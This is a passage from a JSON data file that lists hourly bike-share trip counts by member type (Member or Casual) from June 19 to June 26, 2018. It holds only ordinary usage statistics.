"hour_of_trip": "06/19/2018 11:00",
"number_of_trips": 139
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 11:00",
"number_of_trips": 298
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 12:00",
"number_of_trips": 354
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 12:00",
"number_of_trips": 153
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 13:00",
"number_of_trips": 138
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 13:00",
"number_of_trips": 351
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 14:00",
"number_of_trips": 123
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 14:00",
"number_of_trips": 31
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 15:00",
"number_of_trips": 37
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 15:00",
"number_of_trips": 178
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 16:00",
"number_of_trips": 96
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 16:00",
"number_of_trips": 539
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 17:00",
"number_of_trips": 184
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 17:00",
"number_of_trips": 1249
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 18:00",
"number_of_trips": 211
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 18:00",
"number_of_trips": 1208
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 19:00",
"number_of_trips": 193
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 19:00",
"number_of_trips": 741
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 20:00",
"number_of_trips": 183
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 20:00",
"number_of_trips": 604
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 21:00",
"number_of_trips": 112
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 21:00",
"number_of_trips": 383
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 22:00",
"number_of_trips": 296
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 22:00",
"number_of_trips": 84
},
{
"member_type": "Member",
"hour_of_trip": "06/19/2018 23:00",
"number_of_trips": 124
},
{
"member_type": "Casual",
"hour_of_trip": "06/19/2018 23:00",
"number_of_trips": 63
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 0:00",
"number_of_trips": 31
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 0:00",
"number_of_trips": 52
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 1:00",
"number_of_trips": 11
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 1:00",
"number_of_trips": 19
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 2:00",
"number_of_trips": 7
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 2:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 3:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 4:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 4:00",
"number_of_trips": 19
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 5:00",
"number_of_trips": 11
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 5:00",
"number_of_trips": 119
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 6:00",
"number_of_trips": 387
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 6:00",
"number_of_trips": 29
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 7:00",
"number_of_trips": 962
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 7:00",
"number_of_trips": 39
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 8:00",
"number_of_trips": 1370
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 8:00",
"number_of_trips": 71
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 9:00",
"number_of_trips": 587
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 9:00",
"number_of_trips": 66
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 10:00",
"number_of_trips": 263
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 10:00",
"number_of_trips": 101
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 11:00",
"number_of_trips": 115
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 11:00",
"number_of_trips": 302
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 12:00",
"number_of_trips": 381
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 12:00",
"number_of_trips": 126
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 13:00",
"number_of_trips": 377
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 13:00",
"number_of_trips": 193
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 14:00",
"number_of_trips": 207
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 14:00",
"number_of_trips": 373
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 15:00",
"number_of_trips": 212
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 15:00",
"number_of_trips": 485
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 16:00",
"number_of_trips": 241
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 16:00",
"number_of_trips": 822
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 17:00",
"number_of_trips": 1017
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 17:00",
"number_of_trips": 187
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 18:00",
"number_of_trips": 192
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 18:00",
"number_of_trips": 991
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 19:00",
"number_of_trips": 779
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 19:00",
"number_of_trips": 162
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 20:00",
"number_of_trips": 215
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 20:00",
"number_of_trips": 43
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 21:00",
"number_of_trips": 114
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 21:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 22:00",
"number_of_trips": 136
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 22:00",
"number_of_trips": 12
},
{
"member_type": "Casual",
"hour_of_trip": "06/20/2018 23:00",
"number_of_trips": 19
},
{
"member_type": "Member",
"hour_of_trip": "06/20/2018 23:00",
"number_of_trips": 76
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 0:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 0:00",
"number_of_trips": 36
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 1:00",
"number_of_trips": 23
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 1:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 2:00",
"number_of_trips": 9
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 2:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 3:00",
"number_of_trips": 5
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 3:00",
"number_of_trips": 0
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 4:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 4:00",
"number_of_trips": 21
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 5:00",
"number_of_trips": 106
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 5:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 6:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 6:00",
"number_of_trips": 395
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 7:00",
"number_of_trips": 881
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 7:00",
"number_of_trips": 40
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 8:00",
"number_of_trips": 1241
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 8:00",
"number_of_trips": 95
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 9:00",
"number_of_trips": 571
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 9:00",
"number_of_trips": 88
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 10:00",
"number_of_trips": 261
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 10:00",
"number_of_trips": 113
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 11:00",
"number_of_trips": 297
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 11:00",
"number_of_trips": 121
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 12:00",
"number_of_trips": 131
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 12:00",
"number_of_trips": 328
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 13:00",
"number_of_trips": 171
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 13:00",
"number_of_trips": 403
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 14:00",
"number_of_trips": 364
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 14:00",
"number_of_trips": 196
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 15:00",
"number_of_trips": 441
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 15:00",
"number_of_trips": 225
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 16:00",
"number_of_trips": 259
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 16:00",
"number_of_trips": 773
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 17:00",
"number_of_trips": 1341
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 17:00",
"number_of_trips": 354
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 18:00",
"number_of_trips": 289
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 18:00",
"number_of_trips": 1188
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 19:00",
"number_of_trips": 782
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 19:00",
"number_of_trips": 218
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 20:00",
"number_of_trips": 500
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 20:00",
"number_of_trips": 222
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 21:00",
"number_of_trips": 155
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 21:00",
"number_of_trips": 439
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 22:00",
"number_of_trips": 333
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 22:00",
"number_of_trips": 182
},
{
"member_type": "Member",
"hour_of_trip": "06/21/2018 23:00",
"number_of_trips": 157
},
{
"member_type": "Casual",
"hour_of_trip": "06/21/2018 23:00",
"number_of_trips": 93
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 0:00",
"number_of_trips": 51
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 0:00",
"number_of_trips": 76
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 1:00",
"number_of_trips": 25
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 1:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 2:00",
"number_of_trips": 20
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 2:00",
"number_of_trips": 7
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 3:00",
"number_of_trips": 6
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 3:00",
"number_of_trips": 0
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 4:00",
"number_of_trips": 3
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 4:00",
"number_of_trips": 18
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 5:00",
"number_of_trips": 8
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 5:00",
"number_of_trips": 85
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 6:00",
"number_of_trips": 217
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 6:00",
"number_of_trips": 8
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 7:00",
"number_of_trips": 13
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 7:00",
"number_of_trips": 290
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 8:00",
"number_of_trips": 617
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 8:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 9:00",
"number_of_trips": 249
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 9:00",
"number_of_trips": 23
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 10:00",
"number_of_trips": 16
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 10:00",
"number_of_trips": 92
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 11:00",
"number_of_trips": 123
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 11:00",
"number_of_trips": 25
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 12:00",
"number_of_trips": 147
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 12:00",
"number_of_trips": 24
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 13:00",
"number_of_trips": 21
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 13:00",
"number_of_trips": 112
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 14:00",
"number_of_trips": 174
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 14:00",
"number_of_trips": 26
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 15:00",
"number_of_trips": 278
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 15:00",
"number_of_trips": 65
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 16:00",
"number_of_trips": 82
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 16:00",
"number_of_trips": 459
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 17:00",
"number_of_trips": 114
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 17:00",
"number_of_trips": 738
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 18:00",
"number_of_trips": 616
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 18:00",
"number_of_trips": 123
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 19:00",
"number_of_trips": 74
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 19:00",
"number_of_trips": 321
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 20:00",
"number_of_trips": 266
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 20:00",
"number_of_trips": 86
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 21:00",
"number_of_trips": 74
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 21:00",
"number_of_trips": 274
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 22:00",
"number_of_trips": 191
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 22:00",
"number_of_trips": 70
},
{
"member_type": "Member",
"hour_of_trip": "06/22/2018 23:00",
"number_of_trips": 150
},
{
"member_type": "Casual",
"hour_of_trip": "06/22/2018 23:00",
"number_of_trips": 47
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 0:00",
"number_of_trips": 92
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 0:00",
"number_of_trips": 36
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 1:00",
"number_of_trips": 33
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 1:00",
"number_of_trips": 99
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 2:00",
"number_of_trips": 23
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 2:00",
"number_of_trips": 49
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 3:00",
"number_of_trips": 19
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 3:00",
"number_of_trips": 26
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 4:00",
"number_of_trips": 16
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 4:00",
"number_of_trips": 2
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 5:00",
"number_of_trips": 24
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 5:00",
"number_of_trips": 2
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 6:00",
"number_of_trips": 11
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 6:00",
"number_of_trips": 64
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 7:00",
"number_of_trips": 20
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 7:00",
"number_of_trips": 131
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 8:00",
"number_of_trips": 250
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 8:00",
"number_of_trips": 38
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 9:00",
"number_of_trips": 113
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 9:00",
"number_of_trips": 377
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 10:00",
"number_of_trips": 204
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 10:00",
"number_of_trips": 480
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 11:00",
"number_of_trips": 257
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 11:00",
"number_of_trips": 539
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 12:00",
"number_of_trips": 583
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 12:00",
"number_of_trips": 299
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 13:00",
"number_of_trips": 355
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 13:00",
"number_of_trips": 612
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 14:00",
"number_of_trips": 380
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 14:00",
"number_of_trips": 638
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 15:00",
"number_of_trips": 516
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 15:00",
"number_of_trips": 389
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 16:00",
"number_of_trips": 388
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 16:00",
"number_of_trips": 666
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 17:00",
"number_of_trips": 381
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 17:00",
"number_of_trips": 596
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 18:00",
"number_of_trips": 486
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 18:00",
"number_of_trips": 350
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 19:00",
"number_of_trips": 199
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 19:00",
"number_of_trips": 284
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 20:00",
"number_of_trips": 107
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 20:00",
"number_of_trips": 166
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 21:00",
"number_of_trips": 172
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 21:00",
"number_of_trips": 124
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 22:00",
"number_of_trips": 110
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 22:00",
"number_of_trips": 225
},
{
"member_type": "Casual",
"hour_of_trip": "06/23/2018 23:00",
"number_of_trips": 75
},
{
"member_type": "Member",
"hour_of_trip": "06/23/2018 23:00",
"number_of_trips": 184
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 0:00",
"number_of_trips": 52
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 0:00",
"number_of_trips": 140
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 1:00",
"number_of_trips": 37
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 1:00",
"number_of_trips": 91
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 2:00",
"number_of_trips": 64
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 2:00",
"number_of_trips": 27
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 3:00",
"number_of_trips": 29
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 3:00",
"number_of_trips": 13
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 4:00",
"number_of_trips": 12
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 4:00",
"number_of_trips": 17
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 5:00",
"number_of_trips": 34
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 5:00",
"number_of_trips": 13
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 6:00",
"number_of_trips": 15
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 6:00",
"number_of_trips": 55
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 7:00",
"number_of_trips": 31
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 7:00",
"number_of_trips": 111
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 8:00",
"number_of_trips": 64
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 8:00",
"number_of_trips": 210
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 9:00",
"number_of_trips": 342
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 9:00",
"number_of_trips": 168
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 10:00",
"number_of_trips": 558
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 10:00",
"number_of_trips": 336
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 11:00",
"number_of_trips": 434
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 11:00",
"number_of_trips": 608
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 12:00",
"number_of_trips": 419
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 12:00",
"number_of_trips": 602
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 13:00",
"number_of_trips": 520
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 13:00",
"number_of_trips": 687
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 14:00",
"number_of_trips": 467
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 14:00",
"number_of_trips": 600
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 15:00",
"number_of_trips": 412
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 15:00",
"number_of_trips": 620
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 16:00",
"number_of_trips": 549
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 16:00",
"number_of_trips": 371
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 17:00",
"number_of_trips": 576
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 17:00",
"number_of_trips": 326
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 18:00",
"number_of_trips": 582
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 18:00",
"number_of_trips": 304
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 19:00",
"number_of_trips": 455
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 19:00",
"number_of_trips": 324
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 20:00",
"number_of_trips": 409
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 20:00",
"number_of_trips": 274
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 21:00",
"number_of_trips": 186
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 21:00",
"number_of_trips": 76
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 22:00",
"number_of_trips": 151
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 22:00",
"number_of_trips": 73
},
{
"member_type": "Member",
"hour_of_trip": "06/24/2018 23:00",
"number_of_trips": 68
},
{
"member_type": "Casual",
"hour_of_trip": "06/24/2018 23:00",
"number_of_trips": 53
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 0:00",
"number_of_trips": 46
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 0:00",
"number_of_trips": 28
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 1:00",
"number_of_trips": 11
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 1:00",
"number_of_trips": 24
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 2:00",
"number_of_trips": 11
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 2:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 3:00",
"number_of_trips": 4
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 4:00",
"number_of_trips": 15
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 4:00",
"number_of_trips": 1
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 5:00",
"number_of_trips": 9
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 5:00",
"number_of_trips": 94
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 6:00",
"number_of_trips": 14
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 6:00",
"number_of_trips": 356
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 7:00",
"number_of_trips": 44
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 7:00",
"number_of_trips": 853
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 8:00",
"number_of_trips": 1252
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 8:00",
"number_of_trips": 82
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 9:00",
"number_of_trips": 83
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 9:00",
"number_of_trips": 545
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 10:00",
"number_of_trips": 283
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 10:00",
"number_of_trips": 144
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 11:00",
"number_of_trips": 250
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 11:00",
"number_of_trips": 330
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 12:00",
"number_of_trips": 211
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 12:00",
"number_of_trips": 408
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 13:00",
"number_of_trips": 230
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 13:00",
"number_of_trips": 446
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 14:00",
"number_of_trips": 336
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 14:00",
"number_of_trips": 176
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 15:00",
"number_of_trips": 236
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 15:00",
"number_of_trips": 412
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 16:00",
"number_of_trips": 737
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 16:00",
"number_of_trips": 258
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 17:00",
"number_of_trips": 1508
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 17:00",
"number_of_trips": 335
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 18:00",
"number_of_trips": 249
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 18:00",
"number_of_trips": 1232
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 19:00",
"number_of_trips": 252
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 19:00",
"number_of_trips": 859
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 20:00",
"number_of_trips": 199
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 20:00",
"number_of_trips": 573
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 21:00",
"number_of_trips": 383
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 21:00",
"number_of_trips": 140
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 22:00",
"number_of_trips": 106
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 22:00",
"number_of_trips": 191
},
{
"member_type": "Member",
"hour_of_trip": "06/25/2018 23:00",
"number_of_trips": 111
},
{
"member_type": "Casual",
"hour_of_trip": "06/25/2018 23:00",
"number_of_trips": 76
},
{
"member_type": "Member",
"hour_of_trip": "06/26/2018 0:00",
"number_of_trips": 44
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 0:00",
"number_of_trips": 39
},
{
"member_type": "Casual",
"hour_of_trip": "06/26/2018 1:00",
